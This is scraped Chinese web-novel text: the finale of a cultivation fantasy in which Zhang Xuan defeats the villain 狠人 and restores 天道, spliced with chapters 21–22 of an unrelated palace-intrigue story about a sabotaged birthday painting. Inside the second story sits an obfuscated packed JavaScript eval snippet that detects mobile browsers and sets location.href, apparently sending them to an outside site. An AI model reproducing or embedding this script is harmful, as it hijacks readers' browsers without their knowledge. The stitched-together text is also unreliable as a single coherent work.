灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第21章 构陷 她拿出毕生最精湛的演技。 在众多宾客前缓缓打开那幅画。 接着，她惊恐的将手中的画甩出，嘴里还念叨着“怎么会这样？” 眼看她就要站不住，丫鬟夏竹赶紧将她扶到一边。 沈老夫人脸色顿时沉下来，她怎么看不出沈书玉要闹哪出。 只是她没想到，当着太子的面她也敢这样做。 “行了，定是下人保管不周，不小心扯坏了，心意到了就好，你先下去吧。” 这事本可以轻轻揭过，但沈书玉才不会放过如此良机。 “定是有人故意为之，祖母，您可得为孙女做主啊。” 苏倩儿也看出女儿的意图。 如今还有她还有更重要的事，绝不能因为一时痛快而断了后路。 “这孩子太不懂事了，母亲勿怪，我这就带她下去。” 沈书玉满脸不可思议，母亲为何这样对她。 “娘，女儿受人陷害，您难道要坐视不理吗？” 苏倩儿不想为此耽误她的大计，便指使刘嬷嬷将沈书玉带下去。 “等一下。” 沈知舟将沈书玉护在身后。 比起脸面，他现在更想切断沈晚眠和萧贵妃的联系。 沈晚眠要做的事风险太大。 他不能让沈氏被她拖下水。 只要萧贵妃觉得沈晚眠无用，便会放弃她这颗棋子。 “别怕，书玉，有为父在，定不会叫你受委屈。” 有了父亲的支持，沈书玉底气更足了。 “多谢父亲，夏竹，你去把我房里的丫鬟们都叫来。” 夏竹将早就排练好的队伍带上来。 这些丫鬟一进前厅便齐齐跪下喊冤。 沈书玉做出一副善解人意的模样。 “你们先起来回话。” 几个丫鬟起身道谢，唯独琴心还伏在地上。 “琴心，你怎么还跪着，快起来吧。” 沈书玉就要亲自将她扶起，琴心却将头埋的更深。 “奴婢有罪，还请小姐宽恕。” 沈书玉故作惊讶的捂住嘴。 “难不成是你……” 琴心赶紧解释：“不是，不是我，只是我看见……” 沈知舟欣慰极了，书玉终于长大了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050895|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂得谋划了。 沈书玉安慰道：“你别怕，有父亲在，没人敢拿你怎么样。” 琴心仿佛受到了很大的鼓舞，她战战兢兢的指向沈晚眠。 “昨日二小姐偷偷摸摸的进了您的房间，奴婢怕二小姐会报复，便没将此事告知小姐。” 苏倩儿心想这下完了，她偷偷看向林夫人。 对方果然黑了脸。 沈老夫人刚要说话，却被一道清冷的声音打断。 “依照律法，污蔑主家要被流放，你可想清楚了？” 裴行止一袭玄色暗纹窄服，勾勒出劲瘦的腰身。 步履不紧不慢，却自带威压。 与裴宴的权贵之气相比，他更多几分战场上的肃杀。 “军中事务繁忙，所以来迟了些，还望老夫人勿怪。” 这话虽是对沈老夫人说的，他却迅速扫了一眼沈晚眠。 沈老夫人目光如炬，自然没错过这一眼。 看来孙女她是带不走了。 “无妨，殿下快请入座。” 裴宴没想到能在这里见到裴行止， “七弟怎么来了？” 第22章 掉包 裴行止淡定道：“自然和皇兄一样，受母妃所托。” 珍妃和萧贵妃年少时都曾受过沈老夫人的教导。 裴行止来并不奇怪。 “七弟怎知这丫鬟在说谎？” 裴宴不记得他与沈晚眠有过交集。 怎么他一来便替她说话。 “因为昨日沈二小姐跟我在一起。” 此话一出，场上所有人的目光都移向沈晚眠。 没想到前些日子的传言竟是真的，七皇子当真与沈二小姐有情！ 裴宴呼吸一滞，这样看来，沈晚眠的确骗了他。 她也回来了！ 被这么多人盯着，沈晚眠依旧面不改色。 她从容上前，淡定道：“殿下不必为我开解，这画的确是我嘶的。” 她的话让所有人傻了眼。 就连沈老夫人都被她搞蒙了。 “不过，她说的是谎话，我并非像她说的那样，偷偷摸摸潜入姐姐房间。” 沈老夫人看她胸有成竹，想必已经想好了退路。 “你接着说。” 沈晚眠将地上的画捡起。 “昨日，我去找姐姐，但她不在房中，我无意间看到这副画，又从琴心口中得知这是要送给祖母的寿礼。” “可当我凑近细看，却在这幅画上发现了西瀛国的国花！” 沈晚眠从袖子里悄悄拿出一角碎片，给众人展示。 几位学识渊博的大人点点头：“不错，确是此物。” 沈书玉听到这话整个人像是被雷劈了。 她压根没仔细看这张图，而且她也不认得什么西瀛国花啊。 还有，沈晚眠怎么知道这画上有什么？ “不过姐姐平日不爱读书，想来她也不知这是何物。” 话音刚落，沈书玉便急忙点头撇清关系。 她可不想被按上通敌的罪名。 “后来我便跟琴心说了此事，又回我房中取来了另一幅画，将此画替换。” “当时我着急去赴七皇子的约,便让琴心替我跟姐姐说明。” 沈晚眠看向琴心，语气变得狠厉。 “你为何不将此事说明，还将画换回，说，你是不是敌国细作！” 琴心吓到跌坐在地上，她哪会想到自己会被扣上这么大的罪名。 “我……我不是。” 沈晚眠步步紧逼，一点喘息的机会都没留给她。 “那你为何不说实话，还想污蔑我们姐妹！” 按照琴心的说法，沈晚眠撕毁寿礼，居心叵测。 沈书玉更是罪加一等，往大了说，整个沈府都会被扣上通敌叛国的罪名。 所有人都被沈晚眠唬住，唯独裴宴看穿了她的诡计。 “行了，说这么多你不渴吗，坐下喝口茶吧。” 